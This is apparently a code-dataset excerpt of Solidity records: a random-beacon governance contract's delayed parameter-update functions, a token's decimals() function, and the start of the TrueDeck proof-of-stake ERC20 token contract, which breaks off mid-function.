block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the DKG result submission reward update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeDkgResultSubmissionRewardUpdate() external onlyOwner onlyAfterGovernanceDelay( dkgResultSubmissionRewardChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit DkgResultSubmissionRewardUpdated(newDkgResultSubmissionReward); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( newDkgResultSubmissionReward, randomBeacon.sortitionPoolUnlockingReward(), randomBeacon.ineligibleOperatorNotifierReward(), randomBeacon.sortitionPoolRewardsBanDuration(), randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); dkgResultSubmissionRewardChangeInitiated = 0; newDkgResultSubmissionReward = 0; } /// @notice Begins the sortition pool unlocking reward update process. /// @dev Can be called only by the contract owner. /// @param _newSortitionPoolUnlockingReward New sortition pool unlocking reward function beginSortitionPoolUnlockingRewardUpdate( uint256 _newSortitionPoolUnlockingReward ) external onlyOwner { /* solhint-disable not-rely-on-time */ newSortitionPoolUnlockingReward = _newSortitionPoolUnlockingReward; sortitionPoolUnlockingRewardChangeInitiated = block.timestamp; emit SortitionPoolUnlockingRewardUpdateStarted( _newSortitionPoolUnlockingReward, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the sortition pool unlocking reward update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeSortitionPoolUnlockingRewardUpdate() external onlyOwner onlyAfterGovernanceDelay( sortitionPoolUnlockingRewardChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit SortitionPoolUnlockingRewardUpdated( newSortitionPoolUnlockingReward ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), newSortitionPoolUnlockingReward, randomBeacon.ineligibleOperatorNotifierReward(), randomBeacon.sortitionPoolRewardsBanDuration(), randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); sortitionPoolUnlockingRewardChangeInitiated = 0; newSortitionPoolUnlockingReward = 0; } /// @notice Begins the ineligible operator notifier reward update process. /// @dev Can be called only by the contract owner. /// @param _newIneligibleOperatorNotifierReward New ineligible operator /// notifier reward. function beginIneligibleOperatorNotifierRewardUpdate( uint256 _newIneligibleOperatorNotifierReward ) external onlyOwner { /* solhint-disable not-rely-on-time */ newIneligibleOperatorNotifierReward = _newIneligibleOperatorNotifierReward; ineligibleOperatorNotifierRewardChangeInitiated = block.timestamp; emit IneligibleOperatorNotifierRewardUpdateStarted( _newIneligibleOperatorNotifierReward, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the ineligible operator notifier reward update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeIneligibleOperatorNotifierRewardUpdate() external onlyOwner onlyAfterGovernanceDelay( ineligibleOperatorNotifierRewardChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit IneligibleOperatorNotifierRewardUpdated( newIneligibleOperatorNotifierReward ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), randomBeacon.sortitionPoolUnlockingReward(), newIneligibleOperatorNotifierReward, randomBeacon.sortitionPoolRewardsBanDuration(), randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); ineligibleOperatorNotifierRewardChangeInitiated = 0; newIneligibleOperatorNotifierReward = 0; } /// @notice Begins the sortition pool rewards ban duration update process. /// @dev Can be called only by the contract owner. /// @param _newSortitionPoolRewardsBanDuration New sortition pool rewards /// ban duration. function beginSortitionPoolRewardsBanDurationUpdate( uint256 _newSortitionPoolRewardsBanDuration ) external onlyOwner { /* solhint-disable not-rely-on-time */ newSortitionPoolRewardsBanDuration = _newSortitionPoolRewardsBanDuration; sortitionPoolRewardsBanDurationChangeInitiated = block.timestamp; emit SortitionPoolRewardsBanDurationUpdateStarted( _newSortitionPoolRewardsBanDuration, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the sortition pool rewards ban duration update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeSortitionPoolRewardsBanDurationUpdate() external onlyOwner onlyAfterGovernanceDelay( sortitionPoolRewardsBanDurationChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit SortitionPoolRewardsBanDurationUpdated( newSortitionPoolRewardsBanDuration ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), randomBeacon.sortitionPoolUnlockingReward(), randomBeacon.ineligibleOperatorNotifierReward(), newSortitionPoolRewardsBanDuration, randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); sortitionPoolRewardsBanDurationChangeInitiated = 0; newSortitionPoolRewardsBanDuration = 0; } /// @notice Begins the relay entry timeout notification reward multiplier /// update process. /// @dev Can be called only by the contract owner. /// @param _newRelayEntryTimeoutNotificationRewardMultiplier New relay /// entry timeout notification reward multiplier. function beginRelayEntryTimeoutNotificationRewardMultiplierUpdate( uint256 _newRelayEntryTimeoutNotificationRewardMultiplier ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newRelayEntryTimeoutNotificationRewardMultiplier <= 100, "Maximum value is 100" ); newRelayEntryTimeoutNotificationRewardMultiplier = _newRelayEntryTimeoutNotificationRewardMultiplier; relayEntryTimeoutNotificationRewardMultiplierChangeInitiated = block .timestamp; emit RelayEntryTimeoutNotificationRewardMultiplierUpdateStarted( _newRelayEntryTimeoutNotificationRewardMultiplier, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Begins the unauthorized signing notification reward multiplier /// update process. /// @dev Can be called only by the contract owner. /// @param _newUnauthorizedSigningNotificationRewardMultiplier New unauthorized /// signing notification reward multiplier. function beginUnauthorizedSigningNotificationRewardMultiplierUpdate( uint256 _newUnauthorizedSigningNotificationRewardMultiplier ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newUnauthorizedSigningNotificationRewardMultiplier <= 100, "Maximum value is 100" ); newUnauthorizedSigningNotificationRewardMultiplier = _newUnauthorizedSigningNotificationRewardMultiplier; unauthorizedSigningNotificationRewardMultiplierChangeInitiated = block .timestamp; emit UnauthorizedSigningNotificationRewardMultiplierUpdateStarted( _newUnauthorizedSigningNotificationRewardMultiplier, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the unauthorized signing notification reward /// multiplier update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeUnauthorizedSigningNotificationRewardMultiplierUpdate() external onlyOwner onlyAfterGovernanceDelay( unauthorizedSigningNotificationRewardMultiplierChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit UnauthorizedSigningNotificationRewardMultiplierUpdated( newUnauthorizedSigningNotificationRewardMultiplier ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), randomBeacon.sortitionPoolUnlockingReward(), randomBeacon.ineligibleOperatorNotifierReward(), randomBeacon.sortitionPoolRewardsBanDuration(), randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), newUnauthorizedSigningNotificationRewardMultiplier, randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); unauthorizedSigningNotificationRewardMultiplierChangeInitiated = 0; newUnauthorizedSigningNotificationRewardMultiplier = 0; } /// @notice Finalizes the relay entry timeout notification reward /// multiplier update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeRelayEntryTimeoutNotificationRewardMultiplierUpdate() external onlyOwner onlyAfterGovernanceDelay( relayEntryTimeoutNotificationRewardMultiplierChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit RelayEntryTimeoutNotificationRewardMultiplierUpdated( newRelayEntryTimeoutNotificationRewardMultiplier ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), randomBeacon.sortitionPoolUnlockingReward(), randomBeacon.ineligibleOperatorNotifierReward(), randomBeacon.sortitionPoolRewardsBanDuration(), newRelayEntryTimeoutNotificationRewardMultiplier, randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); relayEntryTimeoutNotificationRewardMultiplierChangeInitiated = 0; newRelayEntryTimeoutNotificationRewardMultiplier = 0; } /// @notice Begins the DKG malicious result notification reward multiplier /// update process. /// @dev Can be called only by the contract owner. /// @param _newDkgMaliciousResultNotificationRewardMultiplier New DKG /// malicious result notification reward multiplier. function beginDkgMaliciousResultNotificationRewardMultiplierUpdate( uint256 _newDkgMaliciousResultNotificationRewardMultiplier ) external onlyOwner { /* solhint-disable not-rely-on-time */ require( _newDkgMaliciousResultNotificationRewardMultiplier <= 100, "Maximum value is 100" ); newDkgMaliciousResultNotificationRewardMultiplier = _newDkgMaliciousResultNotificationRewardMultiplier; dkgMaliciousResultNotificationRewardMultiplierChangeInitiated = block .timestamp; emit DkgMaliciousResultNotificationRewardMultiplierUpdateStarted( _newDkgMaliciousResultNotificationRewardMultiplier, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the DKG malicious result notification reward /// multiplier update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeDkgMaliciousResultNotificationRewardMultiplierUpdate() external onlyOwner onlyAfterGovernanceDelay( dkgMaliciousResultNotificationRewardMultiplierChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit DkgMaliciousResultNotificationRewardMultiplierUpdated( newDkgMaliciousResultNotificationRewardMultiplier ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), randomBeacon.sortitionPoolUnlockingReward(), randomBeacon.ineligibleOperatorNotifierReward(), randomBeacon.sortitionPoolRewardsBanDuration(), randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), newDkgMaliciousResultNotificationRewardMultiplier ); dkgMaliciousResultNotificationRewardMultiplierChangeInitiated = 0; newDkgMaliciousResultNotificationRewardMultiplier = 0; } /// @notice Begins the relay entry submission failure slashing amount update /// process. /// @dev Can be called only by the contract owner. /// @param _newRelayEntrySubmissionFailureSlashingAmount New relay entry /// submission failure slashing amount function beginRelayEntrySubmissionFailureSlashingAmountUpdate( uint256 _newRelayEntrySubmissionFailureSlashingAmount ) external onlyOwner { /* solhint-disable not-rely-on-time */ newRelayEntrySubmissionFailureSlashingAmount = _newRelayEntrySubmissionFailureSlashingAmount; relayEntrySubmissionFailureSlashingAmountChangeInitiated = block .timestamp; emit RelayEntrySubmissionFailureSlashingAmountUpdateStarted( _newRelayEntrySubmissionFailureSlashingAmount, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the relay entry submission failure slashing amount /// update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeRelayEntrySubmissionFailureSlashingAmountUpdate() external onlyOwner onlyAfterGovernanceDelay( relayEntrySubmissionFailureSlashingAmountChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ) { emit RelayEntrySubmissionFailureSlashingAmountUpdated( newRelayEntrySubmissionFailureSlashingAmount ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateSlashingParameters( newRelayEntrySubmissionFailureSlashingAmount, randomBeacon.maliciousDkgResultSlashingAmount(), randomBeacon.unauthorizedSigningSlashingAmount() ); relayEntrySubmissionFailureSlashingAmountChangeInitiated = 0; newRelayEntrySubmissionFailureSlashingAmount = 0; } /// @notice Begins the malicious DKG result slashing amount update process. /// @dev Can be called only by the contract owner. /// @param _newMaliciousDkgResultSlashingAmount New malicious DKG result /// slashing amount function beginMaliciousDkgResultSlashingAmountUpdate( uint256 _newMaliciousDkgResultSlashingAmount ) external onlyOwner { /* solhint-disable not-rely-on-time */ newMaliciousDkgResultSlashingAmount = _newMaliciousDkgResultSlashingAmount; maliciousDkgResultSlashingAmountChangeInitiated = block.timestamp; emit MaliciousDkgResultSlashingAmountUpdateStarted( _newMaliciousDkgResultSlashingAmount, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the malicious DKG result slashing amount update /// process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeMaliciousDkgResultSlashingAmountUpdate() external onlyOwner onlyAfterGovernanceDelay( maliciousDkgResultSlashingAmountChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit MaliciousDkgResultSlashingAmountUpdated( newMaliciousDkgResultSlashingAmount ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateSlashingParameters( randomBeacon.relayEntrySubmissionFailureSlashingAmount(), newMaliciousDkgResultSlashingAmount, randomBeacon.unauthorizedSigningSlashingAmount() ); maliciousDkgResultSlashingAmountChangeInitiated = 0; newMaliciousDkgResultSlashingAmount = 0; } /// @notice Begins the unauthorized signing slashing amount update process. /// @dev Can be called only by the contract owner. /// @param _newUnauthorizedSigningSlashingAmount New unauthorized signing /// slashing amount function beginUnauthorizedSigningSlashingAmountUpdate( uint256 _newUnauthorizedSigningSlashingAmount ) external onlyOwner { /* solhint-disable not-rely-on-time */ newUnauthorizedSigningSlashingAmount = _newUnauthorizedSigningSlashingAmount; unauthorizedSigningSlashingAmountChangeInitiated = block.timestamp; emit UnauthorizedSigningSlashingAmountUpdateStarted( _newUnauthorizedSigningSlashingAmount, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the unauthorized signing slashing amount update /// process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeUnauthorizedSigningSlashingAmountUpdate() external onlyOwner onlyAfterGovernanceDelay( unauthorizedSigningSlashingAmountChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit UnauthorizedSigningSlashingAmountUpdated( newUnauthorizedSigningSlashingAmount ); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateSlashingParameters( randomBeacon.relayEntrySubmissionFailureSlashingAmount(), randomBeacon.maliciousDkgResultSlashingAmount(), newUnauthorizedSigningSlashingAmount ); unauthorizedSigningSlashingAmountChangeInitiated = 0; newUnauthorizedSigningSlashingAmount = 0; } /// @notice Begins the minimum authorization amount update process. /// @dev Can be called only by the contract owner. /// @param _newMinimumAuthorization New minimum authorization amount. function beginMinimumAuthorizationUpdate(uint96 _newMinimumAuthorization) external onlyOwner { /* solhint-disable not-rely-on-time */ newMinimumAuthorization = _newMinimumAuthorization; minimumAuthorizationChangeInitiated = block.timestamp; emit MinimumAuthorizationUpdateStarted( _newMinimumAuthorization, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the minimum authorization amount update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeMinimumAuthorizationUpdate() external onlyOwner onlyAfterGovernanceDelay( minimumAuthorizationChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ) { emit MinimumAuthorizationUpdated(newMinimumAuthorization); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateAuthorizationParameters( newMinimumAuthorization, randomBeacon.authorizationDecreaseDelay() ); minimumAuthorizationChangeInitiated = 0; newMinimumAuthorization = 0; } /// @notice Begins the authorization decrease delay update process. /// @dev Can be called only by the contract owner. /// @param _newAuthorizationDecreaseDelay New authorization decrease delay function beginAuthorizationDecreaseDelayUpdate( uint64 _newAuthorizationDecreaseDelay ) external onlyOwner { /* solhint-disable not-rely-on-time */ newAuthorizationDecreaseDelay = _newAuthorizationDecreaseDelay; authorizationDecreaseDelayChangeInitiated = block.timestamp; emit AuthorizationDecreaseDelayUpdateStarted( _newAuthorizationDecreaseDelay, block.timestamp ); /* solhint-enable not-rely-on-time */ } /// @notice Finalizes the authorization decrease delay update process. /// @dev Can be called only by the contract owner, after the governance /// delay elapses. function finalizeAuthorizationDecreaseDelayUpdate() external onlyOwner onlyAfterGovernanceDelay( authorizationDecreaseDelayChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ) { emit AuthorizationDecreaseDelayUpdated(newAuthorizationDecreaseDelay); // slither-disable-next-line reentrancy-no-eth randomBeacon.updateAuthorizationParameters( randomBeacon.minimumAuthorization(), newAuthorizationDecreaseDelay ); authorizationDecreaseDelayChangeInitiated = 0; newAuthorizationDecreaseDelay = 0; } /// @notice Withdraws rewards belonging to operators marked as ineligible /// for sortition pool rewards. /// @dev Can be called only by the contract owner. /// @param recipient Recipient of withdrawn rewards. function withdrawIneligibleRewards(address recipient) external onlyOwner { randomBeacon.withdrawIneligibleRewards(recipient); } /// @notice Get the time remaining until the relay request fee can be /// updated. /// @return Remaining time in seconds. function getRemainingRelayRequestFeeUpdateTime() external view returns (uint256) { return getRemainingChangeTime( relayRequestFeeChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the relay entry submission /// eligibility delay can be updated. /// @return Remaining time in seconds. function getRemainingRelayEntrySubmissionEligibilityDelayUpdateTime() external view returns (uint256) { return getRemainingChangeTime( relayEntrySubmissionEligibilityDelayChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the relay entry hard timeout can be /// updated. /// @return Remaining time in seconds. function getRemainingRelayEntryHardTimeoutUpdateTime() external view returns (uint256) { return getRemainingChangeTime( relayEntryHardTimeoutChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the callback gas limit can be /// updated. /// @return Remaining time in seconds. function getRemainingCallbackGasLimitUpdateTime() external view returns (uint256) { return getRemainingChangeTime( callbackGasLimitChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the group creation frequency can be /// updated. /// @return Remaining time in seconds. function getRemainingGroupCreationFrequencyUpdateTime() external view returns (uint256) { return getRemainingChangeTime( groupCreationFrequencyChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the group lifetime can be updated. /// @return Remaining time in seconds. function getRemainingGroupLifetimeUpdateTime() external view returns (uint256) { return getRemainingChangeTime( groupLifetimeChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the DKG result challenge period /// length can be updated. /// @return Remaining time in seconds. function getRemainingDkgResultChallengePeriodLengthUpdateTime() external view returns (uint256) { return getRemainingChangeTime( dkgResultChallengePeriodLengthChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the DKG result submission /// eligibility delay can be updated. /// @return Remaining time in seconds. function getRemainingDkgResultSubmissionEligibilityDelayUpdateTime() external view returns (uint256) { return getRemainingChangeTime( dkgResultSubmissionEligibilityDelayChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the DKG result submission reward /// can be updated. /// @return Remaining time in seconds. function getRemainingDkgResultSubmissionRewardUpdateTime() external view returns (uint256) { return getRemainingChangeTime( dkgResultSubmissionRewardChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the sortition pool unlocking reward /// can be updated. /// @return Remaining time in seconds. function getRemainingSortitionPoolUnlockingRewardUpdateTime() external view returns (uint256) { return getRemainingChangeTime( sortitionPoolUnlockingRewardChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the ineligible operator notifier /// reward can be updated. /// @return Remaining time in seconds. function getRemainingIneligibleOperatorNotifierRewardUpdateTime() external view returns (uint256) { return getRemainingChangeTime( ineligibleOperatorNotifierRewardChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the relay entry submission failure /// slashing amount can be updated. /// @return Remaining time in seconds. function getRemainingRelayEntrySubmissionFailureSlashingAmountUpdateTime() external view returns (uint256) { return getRemainingChangeTime( relayEntrySubmissionFailureSlashingAmountChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the malicious DKG result /// slashing amount can be updated. /// @return Remaining time in seconds. function getRemainingMaliciousDkgResultSlashingAmountUpdateTime() external view returns (uint256) { return getRemainingChangeTime( maliciousDkgResultSlashingAmountChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the unauthorized signing /// slashing amount can be updated. /// @return Remaining time in seconds. function getRemainingUnauthorizedSigningSlashingAmountUpdateTime() external view returns (uint256) { return getRemainingChangeTime( unauthorizedSigningSlashingAmountChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the minimum authorization amount /// can be updated. /// @return Remaining time in seconds. function getRemainingMimimumAuthorizationUpdateTime() external view returns (uint256) { return getRemainingChangeTime( minimumAuthorizationChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ); } function getRemainingAuthorizationDecreaseDelayUpdateTime() external view returns (uint256) { return getRemainingChangeTime( authorizationDecreaseDelayChangeInitiated, CRITICAL_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the sortition pool rewards ban /// duration can be updated. /// @return Remaining time in seconds. function getRemainingSortitionPoolRewardsBanDurationUpdateTime() external view returns (uint256) { return getRemainingChangeTime( sortitionPoolRewardsBanDurationChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the relay entry timeout /// notification reward multiplier duration can be updated. /// @return Remaining time in seconds. function getRemainingRelayEntryTimeoutNotificationRewardMultiplierUpdateTime() external view returns (uint256) { return getRemainingChangeTime( relayEntryTimeoutNotificationRewardMultiplierChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the unauthorized signing /// notification reward multiplier duration can be updated. /// @return Remaining time in seconds. function getRemainingUnauthorizedSigningNotificationRewardMultiplierUpdateTime() external view returns (uint256) { return getRemainingChangeTime( unauthorizedSigningNotificationRewardMultiplierChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Get the time remaining until the DKG malicious result /// notification reward multiplier duration can be updated. /// @return Remaining time in seconds. function getRemainingDkgMaliciousResultNotificationRewardMultiplierUpdateTime() external view returns (uint256) { return getRemainingChangeTime( dkgMaliciousResultNotificationRewardMultiplierChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ); } /// @notice Gets the time remaining until the governable parameter update /// can be committed. /// @param changeTimestamp Timestamp indicating the beginning of the change. /// @param delay Governance delay. /// @return Remaining time in seconds. function getRemainingChangeTime(uint256 changeTimestamp, uint256 delay) internal view returns (uint256) { require(changeTimestamp > 0, "Change not initiated"); /* solhint-disable-next-line not-rely-on-time */ uint256 elapsed = block.timestamp - changeTimestamp; if (elapsed >= delay) { return 0; } else { return delay - elapsed; } } }
Finalizes the sortition pool rewards ban duration update process. Can be called only by the contract owner, after the governance delay elapses. slither-disable-next-line reentrancy-no-eth
function finalizeSortitionPoolRewardsBanDurationUpdate() external onlyOwner onlyAfterGovernanceDelay( sortitionPoolRewardsBanDurationChangeInitiated, STANDARD_PARAMETER_GOVERNANCE_DELAY ) { emit SortitionPoolRewardsBanDurationUpdated( newSortitionPoolRewardsBanDuration ); randomBeacon.updateRewardParameters( randomBeacon.dkgResultSubmissionReward(), randomBeacon.sortitionPoolUnlockingReward(), randomBeacon.ineligibleOperatorNotifierReward(), newSortitionPoolRewardsBanDuration, randomBeacon.relayEntryTimeoutNotificationRewardMultiplier(), randomBeacon.unauthorizedSigningNotificationRewardMultiplier(), randomBeacon.dkgMaliciousResultNotificationRewardMultiplier() ); sortitionPoolRewardsBanDurationChangeInitiated = 0; newSortitionPoolRewardsBanDuration = 0; }
12,899,134
./full_match/44787/0xF49c589ECf3eA81525d7A354401b38BBFd20Fd26/sources/contracts/WittyEuro-8.sol
WEUR only has 2 decimals, just as the real EUR./
function decimals() public pure override returns (uint8) { return 2; }
13,244,704
//Address: 0x4221eb87b28de194e916f2b09274471fb0b01b1c //Contract name: TrueDeckToken //Balance: 0 Ether //Verification Date: 5/29/2018 //Transacion Count: 19 // CODE STARTS HERE pragma solidity ^0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced( address indexed previousOwner ); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title PoSTokenStandard * @dev the interface of PoSTokenStandard */ contract PoSTokenStandard { uint256 public stakeStartTime; uint256 public stakeMinAge; uint256 public stakeMaxAge; function mint() public returns (bool); function coinAge() public view returns (uint256); function annualInterest() public view returns (uint256); function calculateReward() public view returns (uint256); function calculateRewardAt(uint256 _now) public view returns (uint256); event Mint( address indexed _address, uint256 _reward ); } /** * @title TrueDeck TDP Token * @dev ERC20, PoS Token for TrueDeck Platform */ contract TrueDeckToken is ERC20, PoSTokenStandard, Pausable { using SafeMath for uint256; event CoinAgeRecordEvent( address indexed who, uint256 value, uint64 time ); event CoinAgeResetEvent( address indexed who, uint256 value, uint64 time ); string public constant name = "TrueDeck"; string public constant symbol = "TDP"; uint8 public constant decimals = 18; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /** * @dev Total Number of TDP tokens that can ever be created. * 200M TDP Tokens */ uint256 public MAX_TOTAL_SUPPLY = 200000000 * 10 ** uint256(decimals); /** * @dev Initial supply of TDP tokens. * 70M TDP Tokens * 35% of Maximum Total Supply * Will be distributed as follows: * 5% : Platform Partners * 1% : Pre-Airdrop * 15% : Mega-Airdrop * 4% : Bounty (Vested over 6 months) * 10% : Development (Vested over 12 months) */ uint256 public INITIAL_SUPPLY = 70000000 * 10 ** uint256(decimals); /** * @dev Time at which the contract was deployed */ uint256 public chainStartTime; /** * @dev Ethereum Blockchain Block Number at time the contract was deployed */ uint256 public chainStartBlockNumber; /** * @dev To keep the record of a single incoming token transfer */ struct CoinAgeRecord { uint256 amount; uint64 time; } /** * @dev To keep the coin age record for all addresses */ mapping(address => CoinAgeRecord[]) coinAgeRecordMap; /** * @dev Modifier to make contract mint new tokens only * - Staking has started. * - When total supply has not reached MAX_TOTAL_SUPPLY. */ modifier canMint() { require(stakeStartTime > 0 && now >= stakeStartTime && totalSupply_ < MAX_TOTAL_SUPPLY); // solium-disable-line _; } constructor() public { chainStartTime = now; // solium-disable-line chainStartBlockNumber = block.number; stakeMinAge = 3 days; stakeMaxAge = 60 days; balances[msg.sender] = INITIAL_SUPPLY; totalSupply_ = INITIAL_SUPPLY; } /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, 